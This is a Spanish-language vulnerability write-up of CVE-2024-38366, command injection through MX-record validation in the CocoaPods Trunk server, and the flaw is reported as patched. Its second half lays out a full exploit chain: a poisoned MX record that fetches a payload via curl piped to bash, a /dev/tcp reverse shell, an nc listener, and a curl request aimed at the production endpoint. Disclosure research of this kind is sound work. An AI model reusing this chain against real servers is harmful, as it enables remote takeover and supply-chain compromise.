
Vulnerabilidad RCE en CocoaPods CVE-2024-38366
Este repositorio incluye un análisis un poco más profundo del proceso de investigación y las ideas detrás de la vulnerabilidad RCE encontrada al investigar y romper el CocoaPods Package Manager.
La publicación del blog con la investigación se puede leer aquí: https://www.evasec.io/blog/eva-discovered-supply-chain-vulnerabities-in-cocoapods
El servidor Trunk de CocoaPods actúa como un repositorio centralizado y una plataforma de distribución para CocoaPods, bibliotecas esenciales y frameworks utilizados en el ecosistema Apple, especialmente en el desarrollo para iOS y macOS. Su propósito principal es facilitar el intercambio y la gestión sin problemas de estos recursos de código abierto.
El proceso de registro de desarrolladores en el servidor Trunk de CocoaPods consta de los siguientes pasos para garantizar la seguridad de la plataforma:
La versión más reciente de trunk.cocoapods.org (rama master) se probó y validó en el entorno de producción en el momento de la investigación. La vulnerabilidad ha sido parcheada desde entonces y ya no es explotable.
La causa raíz de la vulnerabilidad es la verificación insuficiente del paso de validación del dominio de la dirección de correo electrónico (durante el proceso de registro del desarrollador) y la ejecución insegura de comandos. En concreto, un atacante puede manipular la entrada de tal manera que evite la validación de los registros Mail Exchanger (MX) del dominio, lo que permite inyectar y ejecutar comandos arbitrarios del sistema operativo en el servidor Trunk.
Esto representa una grave amenaza para la seguridad de la plataforma, ya que permite que personas no autorizadas puedan comprometer la integridad del servidor y la confidencialidad de los datos almacenados, y alterar sus operaciones.
APP/CONTROLLERS/APP_CONTROLLER.RB
El archivo App Controller define los endpoints de la API del servidor Trunk, incluido el SessionsContoller, que se sirve a través de la ruta /api/v1/sessions.

APP/CONTROLLERS/API/SESSIONS_CONTROLLER.RB
Para generar una nueva sesión, el archivo Session Controller sirve el endpoint de la API HTTP POST – /api/v1/sessions.
El endpoint procesa los detalles de registro proporcionados por el usuario, incluidos los parámetros "email", "name" y "description". A continuación, llama al método Owner.find_or_initialize_by_email_and_name.
La llamada a la función incluye los valores de los parámetros "email" y "name".

APP/MODELS/OWNER.RB
El archivo Owner Model define el método find_or_initialize_by_email_and_name, que comprueba si el correo electrónico proporcionado existe. Si no existe, crea un nuevo objeto Owner utilizando los parámetros mencionados anteriormente.

En cuanto se crea el objeto, y antes de almacenarlo en la base de datos, el framework Sequel ejecuta el método validate. Este método incluye múltiples validaciones, que se encuentran en el paquete RFC-822.
Nos centramos en la ejecución del método validates_mx_record, que utiliza el paquete RFC-822.

RFC-822/LIB/RFC822.RB
La librería implementa el método mx_records para verificar si el dominio proporcionado es válido. Además, implementa una validación de la capacidad de respuesta del registro MX utilizando el comando host.
El método compara primero toda la dirección de correo electrónico con el patrón Regex de correo electrónico definido: comprueba si el correo electrónico proporcionado coincide con el patrón. Si el patrón no coincide, el método devuelve un valor vacío y no continúa con las comprobaciones activas mediante el comando host.
A continuación, el método mx_records llama al método raw_mx_records, que manipula el valor del correo electrónico: obtiene solo la parte del dominio (todo lo que hay después del último ‘@’) y llama al método host_mx utilizando el dominio recortado como valor de su parámetro.

El método host_mx ejecuta un comando arbitrario del sistema operativo, concatenándolo con el dominio del correo electrónico proporcionado por el usuario.
El comando final ejecutado es el siguiente:
/usr/bin/env host -t MX <DOMAIN>
Para iniciar la explotación de la vulnerabilidad, realizamos una petición HTTP POST al endpoint de la API /api/v1/sessions. En el cuerpo de la petición, proporcionamos una entrada manipulada.
El objetivo principal era desencadenar el proceso de validación del registro MX, lo que finalmente conduciría a la evaluación y ejecución de nuestra entrada maliciosa, dando como resultado la ejecución de comandos del sistema operativo en el servidor Trunk.
Para lograr nuestro objetivo y establecer una reverse shell totalmente interactiva, tuvimos que superar ciertos desafíos:
reef<span>@evasec.io|curl{IFS}evasec.io no sería efectivo, ya que el servidor lo procesaría en minúsculas.reef<span>@evasec.io|{curl,evasec.io} no funcionaría debido a la presencia de los siguientes caracteres que la librería eliminaría:“ “ (space)"().,<>@[]Para finalizar nuestra misión necesitábamos superar el muro con el que nos topamos.
Descubrimos que el comando /usr/bin/env host -t MX <DOMAIN> proporciona una salida que podemos controlar, lo que nos permite evitar estos desafíos.
La salida podía aprovecharse canalizándola mediante un pipe a un comando bash, creando una oportunidad para la ejecución de código.
Por ejemplo:
/usr/bin/env host -t MX <DOMAIN> | bash
Manipulamos un registro MX en nuestro dominio, gestionado mediante Route53 en AWS. El registro MX contiene la siguiente cadena válida:
10 a||{curl, -s,http://serve.evasecresearch.com/payload.txt}|bash||.com
Objetivo: El payload manipulado estaba configurado para ejecutarse durante la validación del dominio mediante el comando host.
Para iniciar la ejecución remota de código, invocamos el endpoint de la API POST /api/v1/sessions y el siguiente payload:
anything<span>@owned.domain|bash
Mientras que el dominio "owned.domain" representa el registro MX manipulado maliciosamente como se describió anteriormente.
Preparar el servidor de payload: Configura un servidor web para servir el archivo payload.txt, que contiene el código que se ejecutará en el servidor Trunk.
sh -i >& /dev/tcp/SERVER/1337 0>&1Crear un registro MX malicioso: Genera un nuevo registro MX que incluya un payload diseñado para recuperar el payload preparado en el paso 1 y ejecutarlo.
10 a||{curl, -s,http://WEB_SERVER/payload.txt}|bash||.comConfigurar un listener de reverse shell: Lanza un listener de reverse shell, como netcat (nc), en un puerto accesible públicamente.
nc -lvp 1337Ejecutar la reverse shell: Envía una petición HTTP para desencadenar la ejecución de la reverse shell, lo que puede hacerse con un comando curl.
curl -X $'POST' -H $'Host: trunk.cocoapods.org' -H $'Content-Type: application/json; charset=utf-8' -H $'User-Agent: CocoaPods/1.12.1' --data-binary $'{\"email\":\"name@MX_RECORD_DOMAIN|bash\",\"name\":\"Your Name\",\"description\":null}' $'https://trunk.cocoapods.org/api/v1/sessions'


En nuestra investigación, hemos identificado una vulnerabilidad de seguridad crítica dentro del servidor Trunk de CocoaPods que permite la ejecución de comandos arbitrarios del sistema operativo (ejecución remota de código totalmente interactiva).
Si un actor de amenazas no autorizado compromete el servidor, podría potencialmente introducir código malicioso en bibliotecas ampliamente utilizadas. Esto podría conducir a graves vulnerabilidades de seguridad en innumerables aplicaciones de iOS y macOS que dependen de estos CocoaPods comprometidos.
Adicionalmente, el actor de amenazas podría manipular las especificaciones de los pods, interrumpir la distribución de bibliotecas legítimas o causar una disrupción generalizada dentro del ecosistema de CocoaPods.